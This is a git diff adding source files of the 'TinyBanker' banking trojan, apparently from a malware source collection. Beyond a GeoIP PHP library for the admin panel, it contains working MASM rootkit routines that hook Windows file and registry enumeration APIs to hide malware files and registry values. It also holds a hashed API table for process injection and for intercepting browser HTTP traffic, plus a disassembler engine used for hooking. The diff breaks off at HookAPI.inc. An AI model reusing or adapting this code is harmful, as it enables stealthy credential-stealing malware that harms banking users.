+ return false; +} + +function geoip_country_id_by_addr_v6($gi, $addr) { + $ipnum = inet_pton($addr); + return _geoip_seek_country_v6($gi, $ipnum) - GEOIP_COUNTRY_BEGIN; +} + +function geoip_country_id_by_addr($gi, $addr) { + $ipnum = ip2long($addr); + return _geoip_seek_country($gi, $ipnum) - GEOIP_COUNTRY_BEGIN; +} + +function geoip_country_code_by_addr_v6($gi, $addr) { + $country_id = geoip_country_id_by_addr_v6($gi,$addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + return false; +} + +function geoip_country_code_by_addr($gi, $addr) { + if ($gi->databaseType == GEOIP_CITY_EDITION_REV1) { + $record = geoip_record_by_addr($gi,$addr); + if ( $record !== false ) { + return $record->country_code; + } + } else { + $country_id = geoip_country_id_by_addr($gi,$addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + } + return false; +} + +function geoip_country_name_by_addr_v6($gi, $addr) { + $country_id = geoip_country_id_by_addr_v6($gi,$addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + return false; +} + +function geoip_country_name_by_addr($gi, $addr) { + if ($gi->databaseType == GEOIP_CITY_EDITION_REV1) { + $record = geoip_record_by_addr($gi,$addr); + return $record->country_name; + } else { + $country_id = geoip_country_id_by_addr($gi,$addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + } + return false; +} + +function _geoip_seek_country_v6($gi, $ipnum) { + + # arrays from unpack start with offset 1 + # yet another php mystery. array_merge work around + # this broken behaviour + $v6vec = array_merge(unpack( "C16", $ipnum)); + + $offset = 0; + for ($depth = 127; $depth >= 0; --$depth) { + if ($gi->flags & GEOIP_MEMORY_CACHE) { + // workaround php's broken substr, strpos, etc handling with + // mbstring.func_overload and mbstring.internal_encoding + $enc = mb_internal_encoding(); + mb_internal_encoding('ISO-8859-1'); + + $buf = substr($gi->memory_buffer, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length); + + mb_internal_encoding($enc); + } elseif ($gi->flags & GEOIP_SHARED_MEMORY) { + $buf = @shmop_read ($gi->shmid, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length ); + } else { + fseek($gi->filehandle, 2 * $gi->record_length * $offset, SEEK_SET) == 0 + or die("fseek failed"); + $buf = fread($gi->filehandle, 2 * $gi->record_length); + } + $x = array(0,0); + for ($i = 0; $i < 2; ++$i) { + for ($j = 0; $j < $gi->record_length; ++$j) { + $x[$i] += ord($buf[$gi->record_length * $i + $j]) << ($j * 8); + } + } + + $bnum = 127 - $depth; + $idx = $bnum >> 3; + $b_mask = 1 << ( $bnum & 7 ^ 7 ); + if (($v6vec[$idx] & $b_mask) > 0) { + if ($x[1] >= $gi->databaseSegments) { + return $x[1]; + } + $offset = $x[1]; + } else { + if ($x[0] >= $gi->databaseSegments) { + return $x[0]; + } + $offset = $x[0]; + } + } + trigger_error("error traversing database - perhaps it is corrupt?", E_USER_ERROR); + return false; +} + +function _geoip_seek_country($gi, $ipnum) { + $offset = 0; + for ($depth = 31; $depth >= 0; --$depth) { + if ($gi->flags & GEOIP_MEMORY_CACHE) { + // workaround php's broken substr, strpos, etc handling with + // mbstring.func_overload and mbstring.internal_encoding + $enc = mb_internal_encoding(); + mb_internal_encoding('ISO-8859-1'); + + $buf = substr($gi->memory_buffer, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length); + + mb_internal_encoding($enc); + } elseif ($gi->flags & GEOIP_SHARED_MEMORY) { + $buf = @shmop_read ($gi->shmid, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length ); + } else { + fseek($gi->filehandle, 2 * $gi->record_length * $offset, SEEK_SET) == 0 + or die("fseek failed"); + $buf = fread($gi->filehandle, 2 * $gi->record_length); + } + $x = array(0,0); + for ($i = 0; $i < 2; ++$i) { + for ($j = 0; $j < $gi->record_length; ++$j) { + $x[$i] += ord($buf[$gi->record_length * $i + $j]) << ($j * 8); + } + } + if ($ipnum & (1 << $depth)) { + if ($x[1] >= $gi->databaseSegments) { + return $x[1]; + } + $offset = $x[1]; + } else { + if ($x[0] >= $gi->databaseSegments) { + return $x[0]; + } + $offset = $x[0]; + } + } + trigger_error("error traversing database - perhaps it is corrupt?", E_USER_ERROR); + return false; +} + +function _common_get_org($gi, $seek_org){ + $record_pointer = $seek_org + (2 * $gi->record_length - 1) * $gi->databaseSegments; + if ($gi->flags & GEOIP_SHARED_MEMORY) { + $org_buf = @shmop_read ($gi->shmid, $record_pointer, MAX_ORG_RECORD_LENGTH); + } else { + fseek($gi->filehandle, $record_pointer, SEEK_SET); + $org_buf = fread($gi->filehandle,MAX_ORG_RECORD_LENGTH); + } + // workaround php's broken substr, strpos, etc handling with + // mbstring.func_overload and mbstring.internal_encoding + $enc = mb_internal_encoding(); + mb_internal_encoding('ISO-8859-1'); + $org_buf = substr($org_buf, 0, strpos($org_buf, "\0")); + mb_internal_encoding($enc); + return $org_buf; +} + +function _get_org_v6($gi,$ipnum){ + $seek_org = _geoip_seek_country_v6($gi,$ipnum); + if ($seek_org == $gi->databaseSegments) { + return NULL; + } + return _common_get_org($gi, $seek_org); +} + +function _get_org($gi,$ipnum){ + $seek_org = _geoip_seek_country($gi,$ipnum); + if ($seek_org == $gi->databaseSegments) { + return NULL; + } + return _common_get_org($gi, $seek_org); +} + + + +function geoip_name_by_addr_v6 ($gi,$addr) { + if ($addr == NULL) { + return 0; + } + $ipnum = inet_pton($addr); + return _get_org_v6($gi, $ipnum); +} + +function geoip_name_by_addr ($gi,$addr) { + if ($addr == NULL) { + return 0; + } + $ipnum = ip2long($addr); + return _get_org($gi, $ipnum); +} + +function geoip_org_by_addr ($gi,$addr) { + return geoip_name_by_addr($gi, $addr); +} + +function _get_region($gi,$ipnum){ + if ($gi->databaseType == GEOIP_REGION_EDITION_REV0){ + $seek_region = _geoip_seek_country($gi,$ipnum) - GEOIP_STATE_BEGIN_REV0; + if ($seek_region >= 1000){ + $country_code = "US"; + $region = chr(($seek_region - 1000)/26 + 65) . chr(($seek_region - 1000)%26 + 65); + } else { + $country_code = $gi->GEOIP_COUNTRY_CODES[$seek_region]; + $region = ""; + } + return array ($country_code,$region); + } else if ($gi->databaseType == GEOIP_REGION_EDITION_REV1) { + $seek_region = _geoip_seek_country($gi,$ipnum) - GEOIP_STATE_BEGIN_REV1; + //print $seek_region; + if ($seek_region < US_OFFSET){ + $country_code = ""; + $region = ""; + } else if ($seek_region < CANADA_OFFSET) { + $country_code = "US"; + $region = chr(($seek_region - US_OFFSET)/26 + 65) . chr(($seek_region - US_OFFSET)%26 + 65); + } else if ($seek_region < WORLD_OFFSET) { + $country_code = "CA"; + $region = chr(($seek_region - CANADA_OFFSET)/26 + 65) . chr(($seek_region - CANADA_OFFSET)%26 + 65); + } else { + $country_code = $gi->GEOIP_COUNTRY_CODES[($seek_region - WORLD_OFFSET) / FIPS_RANGE]; + $region = ""; + } + return array ($country_code,$region); + } +} + +function geoip_region_by_addr ($gi,$addr) { + if ($addr == NULL) { + return 0; + } + $ipnum = ip2long($addr); + return _get_region($gi, $ipnum); +} + +function getdnsattributes ($l,$ip){ + $r = new Net_DNS_Resolver(); + $r->nameservers = array("ws1.maxmind.com"); + $p = $r->search($l."." . $ip .".s.maxmind.com","TXT","IN"); + $str = is_object($p->answer[0])?$p->answer[0]->string():''; + $str = substr( $str, 1, -1 ); + return $str; +} + +?> diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/mysql.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/mysql.php new file mode 100644 index 0000000..cd22da0 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/mysql.php @@ -0,0 +1,11 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/rc4.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/rc4.php new file mode 100644 index 0000000..038e8b9 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/rc4.php @@ -0,0 +1,35 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideFile.asm b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideFile.asm new file mode 100644 index 0000000..7711e09 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideFile.asm @@ -0,0 +1,109 @@ + +.code + +;; -------------------------------------------------------------------------------- ;; +NewFindFirstFileEx proc p1:dword, p2:dword, p3:dword, p4:dword, p5:dword, p6:dword + + push p6 ; dwAdditionalFlags + push p5 ; lpSearchFilter + push p4 ; fSearchOp + push p3 ; lpFindFileData + push p2 ; fInfoLevelId + push p1 ; lpFileName + call eax ; Real FindFirstFileEx + .if eax==INVALID_HANDLE_VALUE + ret + .endif + + pushad + +; Decision: to hide or not to hide + mov ebx, p3 + add ebx, 44 ; FileName offset in WIN32_FIND_DATA struc + call IsHiddenFile + .if ebx==0 + popad + ret + .endif + +; Hide file (replace by next) + invoke FindNextFileW, eax, p3 + .if eax!=0 + popad + ret + .endif + +; If hidden file was last + invoke SetLastError, ERROR_FILE_NOT_FOUND + popad + xor eax, eax + ret +NewFindFirstFileEx endp + + +;; -------------------------------------------------------------------------------- ;; +NewFindFirstFile proc p1:dword, p2:dword + + push p2 ; lpFindFileData + push p1 ; lpFileName + call eax ; Real FindFirstFile + .if eax==INVALID_HANDLE_VALUE + ret + .endif + + pushad + +; Decision: to hide or not to hide + mov ebx, p2 + add ebx, 44 ; FileName offset in WIN32_FIND_DATA struc + call IsHiddenFile + .if ebx==0 + popad + ret + .endif + +; Hide file (replace by next) + invoke FindNextFileW, eax, p2 + .if eax!=0 + popad + ret + .endif + +; If hidden file was last + invoke SetLastError, ERROR_FILE_NOT_FOUND + popad + xor eax, eax + ret +NewFindFirstFile endp + + +;; -------------------------------------------------------------------------------- ;; +NewFindNextFile proc p1:dword, p2:dword + local RealFindNextFile : dword + + mov RealFindNextFile, eax + +@FindNextFile: + push p2 ; lpFindFileData + push p1 ; hFindFile + call RealFindNextFile ; Real FindNextFile + .if eax==0 + ret + .endif + + pushad + +; Decision: to hide or not to hide + mov ebx, p2 + add ebx, 44 ; FileName offset in WIN32_FIND_DATA struc + call IsHiddenFile + .if ebx==0 + popad + ret + .endif + +; Hide file (replace by next) + popad + jmp @FindNextFile +NewFindNextFile endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideProc.asm b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideProc.asm new file mode 100644 index 0000000..e69de29 diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideReg.asm b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideReg.asm new file mode 100644 index 0000000..846b35a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideReg.asm @@ -0,0 +1,53 @@ + +.data + nHdnCount dd 0 ; Hidden records counter (for delta) + + +.code + +;; -------------------------------------------------------------------------------- ;; +NewRegEnumValue proc p1:dword, p2:dword, p3:dword, p4:dword, p5:dword, p6:dword, p7:dword, p8:dword + local RealRegEnumValue : dword + + mov RealRegEnumValue, eax + +; Init counter if search from begining + .if p2==0 + mov nHdnCount, 0 +; else add delta to dwIndex + .else + mov eax, nHdnCount + add p2, eax + .endif + +@RealRegEnumValue: + push p8 ; lpcbData + push p7 ; lpData + push p6 ; lpType + push p5 ; lpReserved + push p4 ; lpcchValueName + push p3 ; lpValueName + push p2 ; dwIndex + push p1 ; hKey + call RealRegEnumValue ; Real RegEnumValue + .if eax!=ERROR_SUCCESS + ret + .endif + + pushad + +; Decision: to hide or not to hide + mov ebx, p3 + call IsHiddenRegValue + .if ebx==0 + popad + ret + .endif + +; Hide Value (replace by next) + inc p2 ; Next dwIndex + inc nHdnCount ; Increase counter (for delta) + popad + jmp @RealRegEnumValue +NewRegEnumValue endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/IsHidden.asm b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/IsHidden.asm new file mode 100644 index 0000000..7d00f5d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/IsHidden.asm @@ -0,0 +1,34 @@ + +.code + +;; -------------------------------------------------------------------------------- ;; +IsHiddenFile proc + + cmp byte ptr [ebx], "A" + je @hide + cmp byte ptr [ebx], "~" + je @hide + +;; Not hide + xor ebx, ebx + ret + +@hide: + ret +IsHiddenFile endp + + +;; -------------------------------------------------------------------------------- ;; +IsHiddenRegValue proc + + cmp byte ptr [ebx], "C" + je @hide + +;; Not hide + xor ebx, ebx + ret + +@hide: + ret +IsHiddenRegValue endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdFile.asm b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdFile.asm new file mode 100644 index 0000000..2843ffd --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdFile.asm @@ -0,0 +1,117 @@ + + +FILE_BOTH_DIRECTORY_INFORMATION struc + NextEntryOffset dd ? + Unknown dd ? + CreationTime dq ? + LastAccessTime dq ? + LastWriteTime dq ? + ChangeTime dq ? + EndOfFile dq ? + AllocationSize dq ? + FileAttributes dd ? + FileNameLength dd ? + EaInformationLength dd ? + AlternateNameLength db ? + _DummyAlign db ? + AlternateName dw 12 dup (?) + FileName dw ? +FILE_BOTH_DIRECTORY_INFORMATION ends + + +.code + +;; -------------------------------------------------------------------------------- ;; +NewZwQueryDirectoryFile proc p1:dword, p2:dword, p3:dword, p4:dword, p5:dword, p6:dword, p7:dword, p8:dword, p9:dword, p10:dword, p11:dword + local RealZwQueryDirectoryFile : dword + + mov RealZwQueryDirectoryFile, eax + +@NextQuery: + push p11 ; RestartScan + push p10 ; FileName + push p9 ; ReturnSingleEntry + push p8 ; FileInformationClass + push p7 ; FileInformationLength + push p6 ; FileInformation + push p5 ; IoStatusBlock + push p4 ; ApcContext + push p3 ; ApcRoutine + push p2 ; Event + push p1 ; FileHandle + call RealZwQueryDirectoryFile ; Real ZwQueryDirectoryFile + .if eax!=STATUS_SUCCESS + ret + .endif + +; Only FileBothDirectoryInformation + .if p8!=3 + ret + .endif + +; Only not empty struc + .if p6==0 + ret + .endif + + pushad + + assume eax : ptr FILE_BOTH_DIRECTORY_INFORMATION, edx : ptr FILE_BOTH_DIRECTORY_INFORMATION + mov eax, p6 +@NextFname: + +; Decision: to hide or not to hide + lea ebx, [eax].FileName + call IsHiddenFile + .if ebx!=0 + + .if eax==p6 ; First record + .if p9==TRUE + popad + jmp @NextQuery + .elseif [eax].NextEntryOffset==0 ; Only 1 record + popad + mov eax, STATUS_NO_MORE_FILES + ret + .endif + mov ebx, [eax].NextEntryOffset ; 1st record len + mov edx, eax ; 2nd - + add edx, ebx ; record addr + mov ecx, [edx].NextEntryOffset ; 2nd record len + .if ecx==0 + mov ecx, sizeof FILE_BOTH_DIRECTORY_INFORMATION + add ecx, [edx].FileNameLength + .else + add [edx].NextEntryOffset, ebx ; offset = len2 + len1 + .endif + mov esi, edx ; Source + mov edi, eax ; Destination + rep movsb + mov edx, eax + .elseif [eax].NextEntryOffset==0 ; Last record + mov [edx].NextEntryOffset, 0 + .else ; Other records + mov ecx, [eax].NextEntryOffset + add ecx, [edx].NextEntryOffset + mov [edx].NextEntryOffset, ecx + .endif + + .else + mov edx, eax + .endif + +; Exit if no more records + cmp [eax].NextEntryOffset, 0 + je @End + +; Check Next record + add eax, [eax].NextEntryOffset + jmp @NextFname + +@End: + assume eax : nothing, edx : nothing + + popad + ret +NewZwQueryDirectoryFile endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdProc.asm b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdProc.asm new file mode 100644 index 0000000..cfa8d1a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdProc.asm @@ -0,0 +1,2 @@ + +; ZwQuerySystemInformation \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdReg.asm b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdReg.asm new file mode 100644 index 0000000..639cafa --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdReg.asm @@ -0,0 +1,78 @@ + + +KEY_VALUE_BASIC_INFORMATION struc + TitleIndex dd ? + _Type dd ? + NameLength dd ? + _Name dw ? +KEY_VALUE_BASIC_INFORMATION ends + + +KEY_VALUE_FULL_INFORMATION struc + TitleIndex dd ? + _Type dd ? + DataOffset dd ? + DataLength dd ? + NameLength dd ? + _Name dw ? +KEY_VALUE_FULL_INFORMATION ends + +.code + +;; -------------------------------------------------------------------------------- ;; +NewZwEnumerateValueKey proc p1:dword, p2:dword, p3:dword, p4:dword, p5:dword, p6:dword + local RealZwEnumerateKey : dword + local nCount : dword + local lpName : dword + + mov RealZwEnumerateKey, eax + mov nCount, 0 + + mov eax, p4 + .if p3==0 + lea eax, (KEY_VALUE_BASIC_INFORMATION ptr [eax])._Name + .elseif p3==1 + lea eax, (KEY_VALUE_FULL_INFORMATION ptr [eax])._Name + .else + xor eax, eax + push p2 + pop nCount + .endif + mov lpName, eax + +@RealZwEnumerateKey: + push p6 ; ResultLength + push p5 ; Length + push p4 ; KeyValueInformation + push p3 ; KeyValueInformationClass + push nCount ; Index + push p1 ; KeyHandle + call RealZwEnumerateKey ; Real ZwEnumerateValueKey + .if eax!=STATUS_SUCCESS + ret + .endif + + .if lpName==0 + ret + .endif + + pushad + +; Decision: to hide or not to hide + mov ebx, lpName + call IsHiddenRegValue + .if ebx!=0 + inc p2 + .endif + + mov eax, p2 + .if nCount==eax + popad + ret + .endif + inc nCount + + popad + jmp @RealZwEnumerateKey +NewZwEnumerateValueKey endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/API/APITable.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/API/APITable.inc new file mode 100644 index 0000000..7020d60 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/API/APITable.inc @@ -0,0 +1,103 @@ + +.code + + ;; Constants + ARRAYLEN equ 1024 + KBYTE equ 1024 + MBYTE equ 1024*KBYTE + BUFFERLEN equ 2*MBYTE + RESERVE equ 128*KBYTE + + + HTTP_REQUEST equ 1 + HTTPS_REQUEST equ 2 + INJECT_GRABBED equ 3 + + +@_API_Hashes_table: +;; API Hashes table start + + ;; kernel32 + _LoadLibraryA dd 0, 05A575AE4h + _GetModuleHandleA dd 0, 0C02BD427h + + _CreateToolhelp32Snapshot dd 0, 03B2EFF48h + _Process32First dd 0, 0D2F49D5Ah + _Process32Next dd 0, 0B06C2089h + _OpenProcess dd 0, 0684C0A05h + + + _CreateFileA dd 0, 0A2A93BE9h + _GetFileSize dd 0, 0CA80AE13h + _SetFilePointer dd 0, 006D09387h + _ReadFile dd 0, 004D8BEBAh + _WriteFile dd 0, 0245BD03Bh + + _CreateRemoteThread dd 0, 03E01E6ACh + _CreateThread dd 0, 072A43A6Eh + _ExitProcess dd 0, 0D4D6F7A1h + + _VirtualAlloc dd 0, 0C03EE45Ah + _VirtualAllocEx dd 0, 0CC09B795h + _VirtualProtect dd 0, 0CC265304h + _VirtualProtectEx dd 0, 01355E61Fh + _VirtualFree dd 0, 0D252282Fh + _VirtualFreeEx dd 0, 041B9B35Ah + _WriteProcessMemory dd 0, 0894852D9h + + _lstrcmpiA dd 0, 02BB2FD91h + _lstrlenA dd 0, 0063E2E81h + + _CloseHandle dd 0, 0986B3A78h + _GetCurrentProcessId dd 0, 01547C797h + _WinExec dd 0, 000BB9A05h + _Sleep dd 0, 00003B1AFh + _ExitThread dd 0, 0D543F4F0h + + + + ;; ntdll + _RtlAdjustPrivilege dd 0, 0EFD3AA98h + _RtlGetLastWin32Error dd 0, 0FEC76D6Fh + _RtlSetLastWin32Error dd 0, 0BB094F7Bh + + + + ;; ws2_32 + _WSAStartup dd 0, 0F1AED070h + _inet_addr dd 0, 02A51A274h + _gethostbyname dd 0, 03718CB58h + _socket dd 0, 000222B6Bh + _connect dd 0, 000D2E20Ah + _send dd 0, 00000B0D0h + _recv dd 0, 00000AF3Eh + _closesocket dd 0, 0B33E156Bh + + + ;; wininet + _HttpAddRequestHeadersA dd 0, 003F21E69h + _HttpAddRequestHeadersW dd 0, 003F21E7Fh + _HttpQueryInfoA dd 0, 0C542F043h + _InternetQueryOptionA dd 0, 0312DDA65h + _InternetGetCookieA dd 0, 04C581F48h + + _InternetSetStatusCallback dd 0, 0C3F003F0h + _InternetReadFileExA dd 0, 0CA699E5Bh + _HttpSendRequestA dd 0, 0AF43415Ah + _HttpSendRequestW dd 0, 0AF434170h + _InternetReadFile dd 0, 0F268CC2Bh + _InternetQueryDataAvailable dd 0, 09450A760h + _HttpSendRequestExW dd 0, 08BDF869Dh + _InternetWriteFile dd 0, 0A34C2E52h + _HttpEndRequestA dd 0, 087F01B75h + _InternetCloseHandle dd 0, 0E46D3CDFh + + + ;; nspr4 & chrome + _PR_Write dd 0, 0049CBEFAh + _PR_Read dd 0, 000A8A40Bh + _PR_Close dd 0, 0049BFC7Bh + +;; API Hashes table end + dd 0, 0 + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/API/Catchy32.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/API/Catchy32.inc new file mode 100644 index 0000000..153ffac --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/API/Catchy32.inc @@ -0,0 +1,286 @@ +;================================================================================================================================================== +; ******** *** *********** ********* *** *** *** *** ******* ******* +; *********** **** **** *********** *********** *** *** *** *** ***** ***** ***** ***** +; *** *** *** *** *** *** *** *** *** *** *** ** *** ** **** +; *** *********** *** *** *********** ** ** **** **** +; *** *** *********** *** *** *** *********** *** ** *** **** +; *********** *** *** *** *********** *** *** *** ***** ***** *********** +; ********* *** *** *** ********* *** *** *** ******* *********** +;==================================================Catchy32 v1.6 - Length Disassembler Engine 32bit================================================ +;SIZE=580 bytes +;Version: +;1.0-test version +;1.1-added: support prefix +;1.2-added: TableEXT +;1.3-added: support for 0F6h and 0F7h groups +;1.4-tables fixed +; -SIB byte handling fixed +;1.5-code fixed&optimized +; -processing 0F6h and 0F7h groups is corrected +; -processing 0A0h-0A3h groups is corrected +;1.6-code fixed +; -added: max lenght=15 bytes +;================================================================================================================================================== +;in: esi - pointer to opcode +;out: eax - opcode length or 0ffffffffh if error +;(c) sars [HI-TECH] 2003 +;sars@ukrtop.com +;================================================================================================================================================== +pref66h equ 1 +pref67h equ 2 + +.code + +;---------------Initial adjustment---------------- +c_Catchy: + pushad + call c_Delta + +;------------Delta-offset calculation------------- +c_Delta: + pop ebp + sub ebp, offset c_Delta + xor ecx, ecx + +;----Flags extraction, checks for some opcodes---- +c_ExtFlags: + xor eax, eax + xor ebx, ebx + cdq + lodsb ;al <- opcode + mov cl, al ;cl <- opcode + cmp al, 0fh ;Test on prefix 0Fh + je c_ExtdTable + cmp word ptr [esi-1], 20CDh ;Test on VXD call + jne c_NormTable + inc esi ;If VXD call (int 20h), then command length is 6 bytes + lodsd + jmp c_CalcLen + +c_ExtdTable: ;Load flags from extended table + lodsb + inc ah ;EAX=al+100h (100h/2 - lenght first table) + +c_NormTable: ;Load flags from normal table + shr eax, 1 ;Elements tables on 4 bits + mov al, byte ptr [ebp+c_Table+eax] + +c_CheckC1: + jc c_IFC1 + shr eax, 4 ;Get high 4-bits block if offset is odd, otherwise... + +c_IFC1: + and eax, 0Fh ;...low + xchg eax, ebx ;EAX will be needed for other purposes + +;--------------Opcode type checking--------------- +c_CheckFlags: + cmp bl, 0Eh ;Test on ErrorFlag + je c_Error + cmp bl, 0Fh ;Test on PrefixFlag + je c_Prefix + or ebx, ebx ;One byte command + jz c_CalcLen + btr ebx, 0 ;Command with ModRM byte + jc c_ModRM + btr ebx, 1 ;Test on imm8,rel8 etc flag + jc c_incr1 + btr ebx, 2 ;Test on ptr16 etc flag + jc c_incr2 + +;-----imm16/32,rel16/32, etc types processing----- +c_16_32: + and bl, 11110111b ;Reset 16/32 sign + + cmp cl, 0A0h ;Processing group 0A0h-0A3h + jb c_Check66h + cmp cl, 0A3h + ja c_Check66h + test ch, pref67h + jnz c_incr2 + jmp c_incr4 + +c_Check66h: ;Processing other groups + test ch, pref66h + jz c_incr4 + jmp c_incr2 + +;---------------Prefixes processing--------------- +c_Prefix: + cmp cl, 66h + je c_SetFlag66h + cmp cl, 67h + jne c_ExtFlags + +c_SetFlag67h: + or ch, pref67h + jmp c_ExtFlags + +c_SetFlag66h: + or ch, pref66h + jmp c_ExtFlags + +;--------------ModR/M byte processing------------- +c_ModRM: + lodsb + +c_Check_0F6h_0F7h: ;Check on 0F6h and 0F7h groups + cmp cl, 0F7h + je c_GroupF6F7 + cmp cl, 0F6h + jne c_ModXX + +c_GroupF6F7: ;Processing groups 0F6h and 0F7h + test al, 00111000b + jnz c_ModXX + test cl, 00000001b + jz c_incbt1 + test ch, 1 + jnz c_incbt2 + inc esi + inc esi +c_incbt2: inc esi +c_incbt1: inc esi + +c_ModXX: ;Processing MOD bits + mov edx, eax + and al, 00000111b ;al <- only R/M bits + test dl, 11000000b ;Check MOD bits + jz c_Mod00 + jp c_CheckFlags ;Or c_Mod11 + js c_Mod10 + +c_Mod01: + test ch, pref67h + jnz c_incr1 ;16-bit addressing + cmp al, 4 ;Check SIB + je c_incr2 + jmp c_incr1 + +c_Mod00: + test ch, pref67h + jz c_Mod00_32 ;32-bit addressing + cmp al, 6 + je c_incr2 + jmp c_CheckFlags +c_Mod00_32: + cmp al, 4 ;Check SIB + jne c_disp32 + +c_SIB: ;Processing SIB byte + lodsb + and al, 00000111b + cmp al, 5 + je c_incr4 + jmp c_CheckFlags + +c_disp32: + cmp al, 5 + je c_incr4 + jmp c_CheckFlags + +c_Mod10: + test ch, pref67h + jnz c_incr2 ;16-bit addressing + cmp al, 4 ;Check SIB + je c_incr5 + jmp c_incr4 + +c_incr5: inc esi +c_incr4: inc esi + inc esi +c_incr2: inc esi +c_incr1: inc esi + jmp c_CheckFlags + +;-----------Command length calculation------------ +c_CalcLen: + sub esi, [esp+4*1] + cmp esi, 15 + ja c_Error + mov [esp+4*7], esi + jmp c_Exit + +;----------------Setting the error---------------- +c_Error: + xor eax, eax + dec eax + mov [esp+4*7], eax + +;---------Restore the registers and exit---------- +c_Exit: + popad + ret +;------------------------------------------------- + +;================================================================================================================================================== + +;Flag tables for normal and extended Intel opcodes +;(c) sars [HI-TECH] 2003 +;sars@ukrtop.com +; +;Version: +;01-test version +;02-added: TableEXT +;03-added: new flags +;04-added: support for MMX, SSE, SSE2, 3DNOW +; +;Description: +;Size of table element is 4 bits. +;0h-one byte instruction +;1h-ModRM byte +;2h-imm8,rel8 etc +;4h-ptr16 etc +;8h-imm16/32,rel16/32 etc +;0Fh-prefix +;0Eh-unsupported opcodes + +;3DNOW-Supported +;SSE-Supported +;SSE2-Supported +;MMX-Supported + +;================NORMAL OPCODES================ +c_Table: +; 01 23 45 67 89 AB CD EF +db 011h,011h,028h,000h,011h,011h,028h,000h;0Fh +db 011h,011h,028h,000h,011h,011h,028h,000h;1Fh +db 011h,011h,028h,0F0h,011h,011h,028h,0F0h;2Fh +db 011h,011h,028h,0F0h,011h,011h,028h,0F0h;3Fh +db 000h,000h,000h,000h,000h,000h,000h,000h;4Fh +db 000h,000h,000h,000h,000h,000h,000h,000h;5Fh +db 000h,011h,0FFh,0FFh,089h,023h,000h,000h;6Fh +db 022h,022h,022h,022h,022h,022h,022h,022h;7Fh +db 039h,033h,011h,011h,011h,011h,011h,011h;8Fh +db 000h,000h,000h,000h,000h,0C0h,000h,000h;9Fh +db 088h,088h,000h,000h,028h,000h,000h,000h;AFh +db 022h,022h,022h,022h,088h,088h,088h,088h;BFh +db 033h,040h,011h,039h,060h,040h,002h,000h;CFh +db 011h,011h,022h,000h,011h,011h,011h,011h;DFh +db 022h,022h,022h,022h,088h,0C2h,000h,000h;EFh +db 0F0h,0FFh,000h,011h,000h,000h,000h,011h;FFh +;============================================== +Lentable equ $-c_Table +comment ! +;===============EXTENDED OPCODES=============== +c_TableEXT: +; 01 23 45 67 89 AB CD EF +db 011h,011h,0E0h,000h,000h,0EEh,0E1h,003h;0Fh +db 011h,011h,011h,011h,01Eh,0EEh,0EEh,0EEh;1Fh +db 011h,011h,01Eh,01Eh,011h,011h,011h,011h;2Fh +db 000h,000h,000h,0EEh,0EEh,0EEh,0EEh,0EEh;3Fh +db 011h,011h,011h,011h,011h,011h,011h,011h;4Fh +db 011h,011h,011h,011h,011h,011h,011h,011h;5Fh +db 011h,011h,011h,011h,011h,011h,011h,011h;6Fh +db 033h,033h,011h,010h,011h,011h,011h,011h;7Fh +db 088h,088h,088h,088h,088h,088h,088h,088h;8Fh +db 011h,011h,011h,011h,011h,011h,011h,011h;9Fh +db 000h,001h,031h,011h,000h,001h,031h,011h;AFh +db 011h,011h,011h,011h,0EEh,031h,011h,011h;BFh +db 011h,031h,033h,031h,000h,000h,000h,000h;CFh +db 0E1h,011h,011h,011h,011h,011h,011h,011h;DFh +db 011h,011h,011h,011h,011h,011h,011h,011h;EFh +db 0E1h,011h,011h,011h,011h,011h,011h,01Eh;FFh +;============================================== +! +;================================================================================================================================================== \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/API/HookAPI.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/API/HookAPI.inc new file mode 100644 index 0000000..1235674 --- /dev/null 